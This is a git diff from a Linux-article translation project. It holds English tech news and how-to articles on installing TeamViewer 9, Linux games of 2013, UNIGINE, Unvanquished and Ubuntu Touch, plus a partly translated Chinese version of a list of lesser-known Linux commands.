TeamViewer 9 Released – Install on RHEL/CentOS/Fedora and Debian/Ubuntu
|
||||
================================================================================
|
||||
This guide shows how to install **Teamviewer 9** on **RedHat, CentOS, Fedora** and **Debian**, **Ubuntu**, **Linux Mint**, **Xubuntu** systems. **Teamviewer** is a one of the most popular application for remote assistant, Desktop sharing or transferring files between computers, web conferencing and online meetings etc. Teamviewer is a proprietary application.
|
||||
|
||||
However, it’s a freeware for personal use. Teamviewer is available for **Windows, Linux, Mac OS, Android** and **iPhone**. Teamviewer uses **WINE** application which is integrated within it. We don’t have to [install WINE application][1]separately. **Teamviewer** is not a native **Linux** application.
|
||||
|
||||
Recently, the latest stable version of **TeamViewer 9** released with new features and many improvements. Following are some of the new features are added in **TeamViewer 9** which are highlighted below:
|
||||
|
||||
### Features for Windows, Linux and Mac ###
|
||||
|
||||
- Open multiple connections in different tabs
|
||||
- Support for Wake-on-LAN
|
||||
- Added two factor authentication for TeamViewer accounts
|
||||
- Support for Windows 8.1 and Mac OS X Mavericks
|
||||
- Save custom modules such as QuickSupport, QuickJoin, etc.
|
||||
- API Integration
|
||||
- Stronger security of the Teamviewer account
|
||||
- Quick connection via desktop shortcut
|
||||
- Visual notification
|
||||
- Copy and paste files and text between computers
|
||||
- Initiating file transfers to computers
|
||||
- Quick connection via desktop shortcut
|
||||
- Faster video transfers
|
||||
|
||||
### How do I Install Teamviewer 9 on RedHat, CentOS, Fedora ###
|
||||
|
||||
You may download package for rpm based Linux distributions at [teamviewer_linux.rpm][2].
|
||||
|
||||
Let us start installation. Go to the directory from where you have downloaded package and execute following yum command to install it. It will install missing dependencies.
|
||||
|
||||
# wget http://www.teamviewer.com/download/teamviewer_linux.rpm
|
||||
# yum install teamviewer_linux.rpm
|
||||
|
||||
If you get missing public key error, you can download public key and import it using the following command.
|
||||
|
||||
# wget http://www.teamviewer.com/link/?url=354858
|
||||
# rpm --import TeamViewer_Linux_PubKey.asc
|
||||
|
||||
After importing the public key, please run the “**yum install**” command again to install the Teamviewer rpm.
|
||||
|
||||
To start Teamviewer application, run the following command from the terminal.
|
||||
|
||||
# teamviewer
|
||||
|
||||
Teamviewer application running on my **Fedora 18** system.
|
||||
|
||||
|
||||
*Running TeamViewer in Fedora 18*
|
||||
|
||||
### How do I Install Teamviewer 9 on Ubuntu, Linux Mint, Xubuntu ###
|
||||
|
||||
You may download teamviewer package for **32-bit** or **64-bit** systems at [teamviewer linux .deb][3] packages. or you can download the package using **wget** command as shown below.
|
||||
|
||||
## 32 Bit System ##
|
||||
$ sudo wget http://www.teamviewer.com/download/teamviewer_linux.deb
|
||||
|
||||
## 64 Bit System ##
|
||||
$ sudo wget http://www.teamviewer.com/download/teamviewer_linux_x64.deb
|
||||
|
||||
Once you’ve downloaded the package, go to the directory where you’ve downloaded Teamviewer package and run the following command to install it.
|
||||
|
||||
## 32 Bit System ##
|
||||
$ sudo dpkg -i teamviewer_linux.deb
|
||||
|
||||
## 64 Bit System ##
|
||||
$ sudo dpkg -i teamviewer_linux_x64.deb
|
||||
|
||||
If you get missing dependencies error, please use the following command to install those dependencies.
|
||||
|
||||
sudo apt-get install -f
|
||||
|
||||
Once installation is done. To start Teamviewer package on **Ubuntu** Linux, go to **Dash Home** and type **teamviewer** and click on **teamviewer** icon to run application.
|
||||
|
||||
|
||||
*Running TeamViewer in Ubuntu 13.10*
|
||||
|
||||
Teamviewer application running on my **Ubuntu 13.10** system.
|
||||
|
||||
|
||||
*TeamViewer 9 Under Ubuntu 13.10*
|
||||
|
||||
To start on **Linux Mint**, Go to **Menu >> Internet >> Teamviewer** and click on **Accept License Agreement** to run application.
|
||||
|
||||
Teamviewer application running on my **Linux Mint 15**.
|
||||
|
||||
|
||||
*Running TeamViewer in Linux Mint 15*
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/how-to-install-teamviewer-on-linux-distributions/
|
||||
|
||||
译者：[runningwater](https://github.com/runningwater) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.tecmint.com/install-wine-in-rhel-centos-and-fedora/
|
||||
[2]:http://www.teamviewer.com/download/teamviewer_linux.rpm
|
||||
[3]:http://www.teamviewer.com/hi/download/linux.aspx
|
||||
157
sources/Top 10 Linux Games of 2013.md
Normal file
157
sources/Top 10 Linux Games of 2013.md
Normal file
@ -0,0 +1,157 @@
|
||||
Top 10 Linux Games of 2013
|
||||
================================================================================
|
||||
**With 2013 wrapping up, we’ve brought together 10 of our favourite Linux games of the past year.**
|
||||
|
||||
2013 was a huge year for Linux gaming with Valve’s continued commitment to the platform, encouraging words from big studios like Battlefield developers [DICE][1], and Creative Assembly’s commitment to bringing Total War: Rome II to [Linux next year][2].
|
||||
|
||||
Our list contains both indie titles and some of the most influential AAA titles to date. **This list isn’t intended to be comprehensive nor anything other than our opinion.**
|
||||
|
||||
All of the titles are available on Steam and/or the Ubuntu Software Center, so get your wallets and purses and prepare to throw some money at your screen!
|
||||
|
||||
### Garry’s Mod ###
|
||||
|
||||
|
||||
*Prop or not?*
|
||||
|
||||
Garry’s Mod is a sandbox game with little to no objective in itself, but the magic is in all the props you can load up from a number of Source engine games and the growing number of mods created by the community.
|
||||
|
||||
One such mod is [PropHunt][3] – a hide-and-seek game where one team hides as various objects on a map and the other attempts to find the filing cabinet precariously perched on a secluded staircase.
|
||||
|
||||
It’s simple fun, yet the vast array of game mods – be it for prop hunting, spaceship building, or machinima recording – makes Garry’s Mod a fantastic addition to an avid Linux gamer’s collection.
|
||||
|
||||
- [Get Garry’s Mod on Steam][4]
|
||||
|
||||
### Half-Life 2 ###
|
||||
|
||||
|
||||
*Theoretical physics has never been so cool.*
|
||||
|
||||
And speaking of the Source engine, Half-Life 2 might be the oldest game in the list, but is by far one of the most beloved both in Valve’s oeuvre and amongst all the games to come to Linux this year.
|
||||
|
||||
Half-Life 2 continues protagonist and theoretical physicist Gordon Freeman’s story from the first title in the series as he makes his way across a world ravaged by man and alien alike. Everything from physics puzzles to frighteningly agile headcrabs stand in your way, but the journey is *still* one of the most enthralling experiences in any game today.
|
||||
|
||||
The next title in the Half-Life series has a lot to live up to, but judging by the reception of one of the oldest titles to get a Linux port, Linux gamers are ready with crowbar and Gravity Gun in hand.
|
||||
|
||||
- [Get Half-Life 2 on Steam][5]
|
||||
|
||||
### Amnesia: A Machine for Pigs ###
|
||||
|
||||
|
||||
|
||||
When we reviewed Amnesia: A Machine for Pigs [in September][6], we found the title’s atmosphere as nerve-wracking as the first and worth trudging through the easy puzzles to explore the Victorian surroundings and steampunk-like machinery.
|
||||
|
||||
One of the biggest wins was day one Linux support for a title in such a popular series. But the developers at Frictional Games have always been friends to Linux gamers, porting titles from their Penumbra series in 2007 and 2008 soon after launch.
|
||||
|
||||
- [Get Amnesia: AMfP on Steam][7]
|
||||
- [Get Amnesia: AMfP on the Ubuntu Software Center][8]
|
||||
|
||||
### Metro: Last Light ###
|
||||
|
||||
|
||||
|
||||
Metro: Last Light is one the first AAA titles to come to Linux and [relatively quickly][9] to boot. Set in 2034 under the nuclear-devastated city of Moscow, Metro: Last Light twists the tropes of post-apocalyptic narratives into an intense first-person shooter experience.
|
||||
|
||||
Everything from ghosts to mutant arachnids and giant amoebas are prepared to make a normal day in post-apocalyptic Moscow a little less pleasant.
|
||||
|
||||
It’s not as tongue-in-cheek as the similarly post-apocalyptic Fallout series, but just as reflective of the brutal, yet sometimes touching, human experience in trying times.
|
||||
|
||||
- [Get Metro: Last Light on Steam][10]
|
||||
|
||||
### Starbound ###
|
||||
|
||||
|
||||
|
||||
Think of Starbound as Terraria or a 2D Minecraft with a real storyline and set in space. What’s not to love?
|
||||
|
||||
Much like Minecraft, you can hunt, mine, and build in the world, but unlike the popular 3D sandbox game, you can also travel to other planets and participate in an actual storyline. Your spacecraft starts off stranded in orbit and your first set of quests involves familiarising yourself with the gameplay mechanics and finding fuel for your ship before you can start exploring the procedurally generated planets. What’s more, the various monsters on each planet are also procedurally generated, so you’ll encounter some truly bizarre creatures along the way.
|
||||
|
||||
Starbound is an **Early Access Game**, so you’ll probably discover some broken mechanics (the bow and arrow are a bit troublesome to say the least) and experience a crash or two along the way. But it’s still a fun and featureful game despite being in beta.
|
||||
|
||||
- [Get Starbound on Steam][11]
|
||||
|
||||
### 0 A.D. ###
|
||||
|
||||
|
||||
*Workers constructing buildings and picking berries.*
|
||||
|
||||
0 A.D. has been available on Linux for several years, but we think it deserves a place in the list for all its accomplishments in 2013.
|
||||
|
||||
It’s the only free and open source title on the list and recently wrapped up a $33,251 [fundraising drive][12] – enough, they say, to hire one of their programmers for a full year. Though the game didn’t reach its more optimistic fundraising goals, that’s still $33,251 raised to support an open source project.
|
||||
|
||||
And more than anything, it’s fun. Fans of the Age of Empires style of real-time strategy will enjoy the work that’s gone into 0 A.D. over the years. The attention to detail is evident and though the title still has a ways to go, it only stands to improve with another dedicated programmer on board.
|
||||
|
||||
- [Get 0 A.D. on the Ubuntu Software Center][13]
|
||||
|
||||
### War in a Box: Paper Tanks ###
|
||||
|
||||
|
||||
|
||||
Tower defence games are as common as Reversi or Minesweeper, but [War in a Box: Paper Tanks][14] adds a dose of charm to the addictive genre.
|
||||
|
||||
Its unique paper-craft aesthetic works extremely well, giving the 24 levels a tireless appeal as you play and replay each level. At $3.99 it’s an easy sell for anyone who enjoys casual tower defence games. It’s simple fun, but utterly addicting.
|
||||
|
||||
- [Get War in a Box: Paper Tanks][15]
|
||||
|
||||
### FEZ ###
|
||||
|
||||
|
||||
*I like fezes. Fezes are cool.*
|
||||
|
||||
We reviewed FEZ back [in September][16] and the perspective-shifting 2D platformer is every bit as fun as a Pillsbury Doughboy-like character with a fez on makes it sound.
|
||||
|
||||
Jumping puzzles, mind-bending perspective puzzles, and gaming in-jokes all contribute to a title that stays fresh even when you’ve fallen off the map a dozen times or stood too close to a bomb when it goes off.
|
||||
|
||||
- [Get FEZ on Steam][17]
|
||||
|
||||
### Europa Universalis IV ###
|
||||
|
||||
|
||||
|
||||
Imagine Civilization with a bit more micromanagement, a big helping of history, and one gigantic difference: it’s on Linux!
|
||||
|
||||
Unlike the Civilization games, Europa Universalis titles are historical strategy, though by no means a play-by-play of history books. And instead of battling across thousands of years, EUIV only spans the years 1444–1821. But that doesn’t mean EU is any less fun or engaging as the longer running Civilization series.
|
||||
|
||||
EUIV plays out in real-time rather than in turns, so you’ll be pausing often to get a better view of your growing empire or your wealthy nation’s vast trade routes. The EU series can be intimidating to beginners given the scope of “grand strategy” gameplay, but if you ever wanted to play out the colonisation of the Americas or tweak the outcome of the Napoleonic Wars, it’ll be worth the effort.
|
||||
|
||||
- [Get Europa Universalis IV on Steam][18]
|
||||
|
||||
### Kentucky Route Zero ###
|
||||
|
||||
|
||||
|
||||
[Kentucky Route Zero][19] is one of my favourite games of all time. It’s the most artistically-orientated title in the list and one that exemplifies the more poetic side of gaming in addition to all the AAA titles that we can to look forward to in 2014 and beyond.
|
||||
|
||||
Kentucky Route Zero brings the magical realism genre to point-and-click adventures, mixing the surreal with classic adventure game elements. You start out looking for an unknown address to deliver antiques to, but the narrative takes off in unexpected, often fantastical, directions from there.
|
||||
|
||||
It’s a game about discovery rather than achievements or saving a princess who’s inevitably in another castle. It won’t be everyone’s cup of tea – nor will it fit everyone’s definition of a “game” – but it is one of the most meaningful and creative titles I’ve ever had the pleasure of playing.
|
||||
|
||||
- [Get Kentucky Route Zero on Steam][20]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/12/top-10-linux-games-2013
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.polygon.com/2013/10/12/4826190/linux-only-needs-one-killer-game-to-explode-says-battlefield-director
|
||||
[2]:http://www.omgubuntu.co.uk/2013/11/total-war-rome-ii-coming-linux-early-next-year
|
||||
[3]:http://steamcommunity.com/sharedfiles/filedetails/?id=135509255
|
||||
[4]:http://store.steampowered.com/app/4000
|
||||
[5]:http://store.steampowered.com/app/220
|
||||
[6]:http://www.omgubuntu.co.uk/2013/09/amnesia-a-machine-for-pigs-review
|
||||
[7]:http://store.steampowered.com/app/239200
|
||||
[8]:https://apps.ubuntu.com/cat/applications/amnesia-amfp/
|
||||
[9]:http://www.omgubuntu.co.uk/2013/11/metro-last-light-steam-linux-download
|
||||
[10]:http://store.steampowered.com/app/43160
|
||||
[11]:http://store.steampowered.com/app/211820
|
||||
[12]:http://www.omgubuntu.co.uk/2013/10/crowd-funding-success-historical-war-game-0-d
|
||||
[13]:https://apps.ubuntu.com/cat/applications/0ad/
|
||||
[14]:http://www.omgubuntu.co.uk/2013/03/war-in-a-box-paper-tanks-ubuntu-review
|
||||
[15]:https://apps.ubuntu.com/cat/applications/war-in-a-box-paper-tanks/
|
||||
[16]:http://www.omgubuntu.co.uk/2013/09/fez-indie-game-review-on-linux
|
||||
[17]:http://store.steampowered.com/app/224760/
|
||||
[18]:http://store.steampowered.com/app/236850
|
||||
[19]:http://www.omgubuntu.co.uk/2013/02/adventures-in-magical-realism-kentucky-route-zero-act-i-review
|
||||
[20]:http://store.steampowered.com/app/231200
|
||||
@ -1,46 +0,0 @@
|
||||
UNIGINE Is Probably the Best Gaming Engine on Linux
|
||||
================================================================================
|
||||
**The UNIGINE, a real-time 3D engine built to run on all major platforms, including Linux, has just received another update, bringing some important new features.**
|
||||
|
||||
|
||||
|
||||
Unigine Engine is built by non-other than Unigine Corp., the company behind the Heaven DX11 Benchmark software. The technology they develop is getting better all the time, and with their recent expansion on the Linux platform, we’re all too glad to see that major updates have been implemented in the engine.
|
||||
|
||||
Amongst the biggest changes in the latest Unigine update is the Common Image Generator Interface (CIGI) protocol.
|
||||
|
||||
According to the developers, this interface is a standard way for a host device to communicate with an image generator (IG) in the simulation industry.
|
||||
|
||||
### Highlights of the new Unigine Engine: ###
|
||||
|
||||
- Support has been added for the conversion of WGS84, ECF and NED coordinate systems into Cartesian one (this will help developers to made better use of real-world GIS data in UNIGINE-powered projects);
|
||||
- The Game Framework has been implemented, making it easier to create games with features such as automatic link between Entity and Node, automatic link between Level and World, object management for Entities, Global Game context across all Levels, events handling system, optimal updating of Entities, and more;
|
||||
- The FPS stability for the rendered has been increased;
|
||||
- Two new options, a 2D noise and 3D noise (States tab in the editor), have been added to the mesh_leaf_base material;
|
||||
- A new parameter, Occlusion mask, has been added to all of the materials;
|
||||
- Heights of clutters and grass are synchronized now;
|
||||
- A few crashes on rendering of non-Flash splash screens have been fixed.
|
||||
|
||||
A complete list of new features, for all the platforms, is available in the official [announcement][1].
|
||||
|
||||
Keep in mind that the UNIGINE graphics engine is only aimed at commercial enterprises and that not even a trial version is available for the general public.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/UNIGINE-Is-Probably-the-Best-Gaming-Engine-on-Linux-404484.shtml
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.unigine.com/devlog/2013/11/27/113
|
||||
[2]:
|
||||
[3]:
|
||||
[4]:
|
||||
[5]:
|
||||
[6]:
|
||||
[7]:
|
||||
[8]:
|
||||
[9]:
|
||||
[10]:
|
||||
[11]:
|
||||
[12]:
|
||||
@ -1,41 +0,0 @@
|
||||
Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux
|
||||
================================================================================
|
||||
**Unvanquished, a free, open-source first-person shooter combining real-time strategy elements with a futuristic and sci-fi setting, has just received its 22nd update. Actually it's 22.1, but who's counting?**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Even if Unvanquished is still in its Alpha stages, the developers have added a lot of new features and the game has become a lot more playable.
|
||||
|
||||
The Unvanquished Alpha 22.1 has received a few engine changes, some gameplay changes, a new map, a new version of an existing map, and more.
|
||||
|
||||
Snowstation is the new map integrated in the game. According to the developer, it has a simple layout, essentially a loop, and a snow-covered outside area forming part of that loop.
|
||||
|
||||
“We're now using C++ for all engine code. A few things are a bit different – some commands are changed a little or renamed and some output looks different. One which you'll probably notice while playing is marking for deconstruction – you'll need to rebind that key. The reason is that /if has lost its modifier key support; you'll need to use /modcase instead,” reads the announcement.
|
||||
|
||||
### Highlight of Unvanquished Alpha 22.1: ###
|
||||
|
||||
• The jetpack has been added. Users have to hold down the jump key and fly – but you can't hover anymore and you only have a limited amount of fuel;
|
||||
• The reasons “under attack” messages are reported have been changed;
|
||||
• Human weapons will be refilled or recharged automatically when close to a suitable building and not in use;
|
||||
• Repeaters are now effectively small reactors and they will provide power even when there is no reactor around;
|
||||
• FXAA now works with Mesa in OpenGL 2.1 contexts.
|
||||
|
||||
More details about this amazingly-looking game can be found on the official [website][1]. Keep in mind that this is a work in progress and bugs are bound to appear.
|
||||
|
||||
**Download Unvanquished Alpha 22.1 right now:**
|
||||
|
||||
- [Debian/Ubuntu DEB ALL][2][ubuntu_deb] [0 KB]
|
||||
- [Arch Linux package][2][binary] [0 KB]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/Unvanquished-Will-Probably-Be-the-Best-Free-Multiplayer-Game-on-Linux-405956.shtml
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.unvanquished.net/news/111-it-s-release-time-again-alpha-22
|
||||
[2]:http://www.unvanquished.net/download#linux
|
||||
@ -1,48 +0,0 @@
|
||||
‘Household Brands’ Interested In Ubuntu for Phones and Tablets, Says Shuttleworth
|
||||
================================================================================
|
||||
|
||||
|
||||
**Mark Shuttleworth has said that an ‘interesting set of household brands’ are looking at putting Ubuntu Touch on their own phones and tablets.**
|
||||
|
||||
The Ubuntu founder was speaking in the [keynote address][1] at the Ubuntu Developer Summit which kicked off this week.
|
||||
|
||||
No specific names, details or dates were offered up alongside the tantalising tidbit, though Mark did hint at one point that he expects Ubuntu Touch devices to be available to buy within the next couple of years.
|
||||
|
||||
### Ubuntu Tablets = Renewed Opportunity ###
|
||||
|
||||
[As mentioned by Jono Bacon recently][2], honing the Ubuntu Tablet experience will be the ‘key focus’ of the Ubuntu 14.04 development cycle. This was touched upon by Shuttleworth in response to a question on whether Ubuntu plan to make dual-booting Touch with Android easier (they are):
|
||||
|
||||
> “I’m excited about the tablet form-factor because I think it’s going to be a lot easier for people to enjoy Ubuntu on a tablet [because] doing it on a phone full time is a bit of a deep-device commitment – [though] we’ve heard some interesting reports of government departments using it because we don’t work for the NSA!”
|
||||
|
||||
Other notable points mentioned in the keynote included:
|
||||
|
||||
- Helping developers tailor Ubuntu Touch apps for the desktop
|
||||
- Stable, dependable and performant desktop experience based on Unity 7
|
||||
- Point releases of Ubuntu 14.04 LTS won’t be introducing Mir or Unity 8
|
||||
- Ubuntu on ARM x64
|
||||
- Sidestage to be re-introduced to tablet
|
||||
- Supporting Android apps on Ubuntu ‘is a goal – but not a focus’ right now
|
||||
|
||||
> ‘Shuttleworth must be hoping that some of those interested household names make a firm commitment soon…’
|
||||
|
||||
This latter point appears to represent an about-turn, if true. Earlier in the year Canonical’s Richard Collins [told Engadget][1] that there were no plans to “engineer middleware for running Android apps [on Ubuntu Touch]“.
|
||||
|
||||
Android apps or not, Shuttleworth must be hoping that some of those interested household names make a firm commitment soon. The longer the gap the more ground competitors are gaining.
|
||||
|
||||
Samsung and Intel’s open-source mobile OS ‘Tizen’ [recently gained the backing of a further 36 companies][4], including an array of mobile networks, electronics bigwigs and game publishers.
|
||||
|
||||
Elsewhere, Mozilla’s Firefox OS continues to grow its users, OEM and carrier base; while [Jolla’s first Sailfish OS-powered handset ships later this month][5]. And although Ubuntu Touch isn’t aiming for the low-end segment, Android 4.4 debuted with a number of performance optimisations when used on hardware with limited resources.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/11/household-brands-ubuntu-phone-tablets
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.youtube.com/watch?v=D4kHQeu4SJk
|
||||
[2]:http://www.omgubuntu.co.uk/2013/11/ubuntu-tablet-will-key-focus-ubuntu-14-04-lts-cycle
|
||||
[3]:http://www.engadget.com/2013/01/25/canonical-richard-collins-interview/
|
||||
[4]:http://www.theverge.com/2013/11/12/5093588/tizen-open-operating-system-partners-with-36-companies
|
||||
[5]:http://www.theregister.co.uk/2013/11/15/jolla_phones_to_ship_in_november/
|
||||
@ -1,6 +1,7 @@
|
||||
10 Lesser Known Effective Linux Commands – Part IV
|
||||
10个鲜为人知的Linux命令(4)
|
||||
================================================================================
|
||||
Continuing the **Lesser Known** series, this fourth article of the series will let you know some useful **funny** and **animated** commands. Here we go into the practical session, without much theory.
|
||||
继续我们的"鲜为人知"系列，本系列的第四篇会让你了解一些**有趣** 又 **动态**的命令。这里我们进入实际的教程，没有很多理论。
|
||||
|
||||
|
||||
|
||||
@ -8,17 +9,17 @@ Continuing the **Lesser Known** series, this fourth article of the series will l
|
||||
- [10 Lesser Known Linux Commands – Part 2][2]
|
||||
- [10 Lesser Known Commands for Linux – Part 3][3]
|
||||
|
||||
In the fourth article of this series which includes few other lesser known Linux commands, worth knowing. Might be you’re already aware of these commands, no doubt you’re an experienced Linux user and loves exploration.
|
||||
本系列的第四篇包含了另外的鲜为人知的Linux命令，这些值得去了解。也许你已经知道了这些命令，毫无疑问你是一个有经验的Linux用户并且乐于探索。
|
||||
|
||||
### 32. strace Command ###
|
||||
|
||||
The **strace** is a debugging tool which is used primarily for troubleshooting purpose in Linux. It might not be installed by default in your system and you may need to **apt** or **yum** the required package.
|
||||
**strace**是一个调试工具并被主要用于Linux的故障排除。它可能在你的系统内没有默认安装，你可能需要**apt** 或者 **yum**安装所需要的包。
|
||||
|
||||
Trace a command execution using strace command:
|
||||
使用strace命令追踪一个命令的执行。
|
||||
|
||||
root@tecmint [~]# strace pwd
|
||||
|
||||
#### Sample Output ####
|
||||
#### 示例输出 ####
|
||||
|
||||
execve("/bin/pwd", ["pwd"], [/* 29 vars */]) = 0
|
||||
brk(0) = 0x728000
|
||||
@ -40,56 +41,56 @@ Trace a command execution using strace command:
|
||||
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de6000
|
||||
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de5000
|
||||
....
|
||||
**strace**命令接收大量的参数和选项，请参考man页来获取详细信息。
|
||||
|
||||
The **strace** command accepts a lot of arguments and have many options. Refer to man page for detailed information.
|
||||
### 33. disown -a && exit 命令 ###
|
||||
|
||||
### 33. disown -a && exit Command ###
|
||||
大多数系统管理员使用[screen 命令][4]来控制运行在终端后台的作业。让我们假设一下如果你有一个长期运行的作业并想要将它从终端中**分离**，你可以用screen命令来这么做。但是如果你不知道如何使用screen，那么disown可以用来救急。
|
||||
|
||||
Most of the system administrators use [screen command][4] to control jobs running in the terminal background. Let’s say if you having a long running job and want to **detach** from the terminal, you use screen command to do it. But what if you don’t know how to use screen, here comes disown command to rescue.
|
||||
disown命令可以在后台持续运行作业即使你关闭了终端会话。disown命令的语法是:
|
||||
|
||||
The disown command is used to run the jobs continuously in the background even after you closing the terminal session. The syntax of the disown command is:
|
||||
|
||||
root@tecmint [~]# Command; disown -a && exit
|
||||
|
||||
To detach again the long running job in the terminal, use the **jobs** command to find the job number and then use disown **%n** where **n** is the job number. To verify actually the job is running use **ps** or [top command][5]. The **nohup** command is an alternative to the disown command.
|
||||
为了在终端中再次分离长期运行的作业，使用**jobs**命令来找出作业号，接着使用disown **%n**，这里的**%n**是作业号。为了验证作业确实在运行，使用**ps** 或者 [top 命令][5]。**nohup**命令也是一个disown命令的替代品。
|
||||
|
||||
### 34. getconf LONG_BIT Command ###
|
||||
### 34. getconf LONG_BIT 命令 ###
|
||||
|
||||
The above command shows your machine architecture if it is **32** bit or **64** bit?
|
||||
上面的命令能显示你的机器架构是**32** bit 或者 **64** 位?
|
||||
|
||||
root@tecmint [~]# getconf LONG_BIT
|
||||
|
||||
32
|
||||
|
||||
- [Download Linux Command Line Cheat Sheet][5]
|
||||
- [下载Linux命令备忘单][5]
|
||||
|
||||
### 35. Display Date on the Terminal ###
|
||||
### 35. 终端上显示日期 ###
|
||||
|
||||
The below command is a combination of several commands, better say it a script. For a person working at shell or terminal, without GUI seeing current system date is tedious job. You have to type ‘**date**‘ command to check today’s date.
|
||||
下面的命令是几个命令的集合，确切地说是一个脚本。对于在shell或者终端下工作的人来说，没有GUI界面看到当前系统日期是一个乏味的工作。你可以用‘**date**‘命令查看今天的日期。
|
||||
|
||||
Just execute the below command on you prompt and see the **date** and **time** on the above right corner of terminal.
|
||||
只要在提示符后输入如下的命令你就会在终端的右上角看到**日期**和**时间**。
|
||||
|
||||
root@tecmint [~]# while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done &
|
||||
|
||||
|
||||
|
||||
|
||||
### 36. convert Command ###
|
||||
### 36. convert 命令 ###
|
||||
|
||||
While writing tutorial, I usually need to produce output, many a times in image format. The above command combination does this for me. Say I need the output of tree command (for **/etc/x11** directory) in image format. What I did at terminal was:
|
||||
在写教程的时候，我经常需要生成输出，很多时候是图片格式。上面的命令集合并不适合我。假设我需要tree命令的图片格式的输出(对 **/etc/x11** 目录 )。
|
||||
|
||||
root@tecmint:/etc/X11# tree | convert label:@- /home/avi/tree.png
|
||||
|
||||
The output of the above command can be seen at the specified location (here, home directory of mine) with the file name specified as **tree.png**.
|
||||
上面命令的输出可以在一个特定的位置(这里是我的家目录)下看到，文件名是**tree.png**。
|
||||
|
||||
### 37. watch -t -n1 “date +%T|figlet” ###
|
||||
|
||||
Remember our description of “**figlet**” command in our earlier article “[20 Funny Commands of Linux][7]”. This command was very cool, this time we will be pipelining ‘**figlet**‘ to show animated digital clock in the terminal.
|
||||
记住“**figlet**”命令在我们早期的文章“[20 Funny Commands of Linux][7]”中的描述。这个命令非常酷，这次我们会通过管道输出到‘**figlet**‘而在终端上显示一个动画电子钟。
|
||||
|
||||
Just check-out yourself, remember you must have **figlet** installed on the system, do **apt** or **yum** to install the required package.
|
||||
你自己检查一下，记住你必须已经在系统上安装了**figlet**，用**apt** 或者 **yum**安装所需要的包。
|
||||
|
||||
root@tecmint [~]# watch -t -n1 "date +%T|figlet"
|
||||
|
||||
#### Sample Output ####
|
||||
#### 示例输出 ####
|
||||
|
||||
_ ___ ____ ___ _____ _ _ Fri Nov 29 10:29:34 GMT
|
||||
/ |/ _ \ _|___ \ / _ \ _|___ /| || |
|
||||
@ -97,9 +98,9 @@ Just check-out yourself, remember you must have **figlet** installed on the syst
|
||||
| | |_| |_ / __/ \__, |_ ___) |__ _|
|
||||
|_|\___/(_)_____| /_/(_)____/ |_|
|
||||
|
||||
### 38. host and dig Commands ###
|
||||
### 38. host and dig 命令 ###
|
||||
|
||||
Although “**host**” and “**dig**” command is not that much lesser known, still not very frequently used. The host command is **DNS** lookup utility.
|
||||
虽然“**host**” 和 “**dig**”命令不那么鲜为人知，但是仍并不常被使用。host命令是**DNS**查询工具。
|
||||
|
||||
root@tecmint [~]# host www.google.com
|
||||
|
||||
@ -119,17 +120,17 @@ Although “**host**” and “**dig**” command is not that much lesser known,
|
||||
;; Got answer:
|
||||
;; ->>HEADER<
|
||||
|
||||
### 39. dstat Command ###
|
||||
### 39. dstat 命令 ###
|
||||
|
||||
The **dstat** is a versatile tool, that generates statistics relating to system resource. By default your system might not have ‘**dstat**‘ installed. Do a **apt** or **yum** to install ‘**dstat**‘ before using this very colorful and description system resource generator.
|
||||
**dstat**是一个多用的工具，它会依据系统资源生成统计。默认上你的系统可能没有安装‘**dstat**‘。在使用这个多彩的描述系统信息的生成器前使用**apt** 或者 **yum**来安装。
|
||||
|
||||
root@tecmint [~]# dstat
|
||||
|
||||
|
||||
|
||||
|
||||
### 40. bind -p Command ###
|
||||
### 40. bind -p 命令 ###
|
||||
|
||||
The ‘**bind -p**‘ command will show all the shortcuts available for **BASH** shell.
|
||||
‘**bind -p**‘会显示所有的**BASH** shell可用的快捷方式。
|
||||
|
||||
root@tecmint [~]# bind -p
|
||||
|
||||
@ -160,19 +161,19 @@ The ‘**bind -p**‘ command will show all the shortcuts available for **BASH**
|
||||
|
||||
### 41. touch /forcefsck ###
|
||||
|
||||
The above command will create an empty folder '**forcefsck**', under root directory. This will force Linux System to check the file system on the very next boot.
|
||||
下面的命令会在root目录下创建一个空的文件夹'**forcefsck**'。这会强制Linux系统在下次启动时检查文件系统。
|
||||
|
||||
root@tecmint [~]# touch /forcefsck
|
||||
|
||||
hat’s all for Now. You People are loving these ‘**Lesser Known Commands**‘ and hence we are continuing the series, the next article of this series will be available very soon.
|
||||
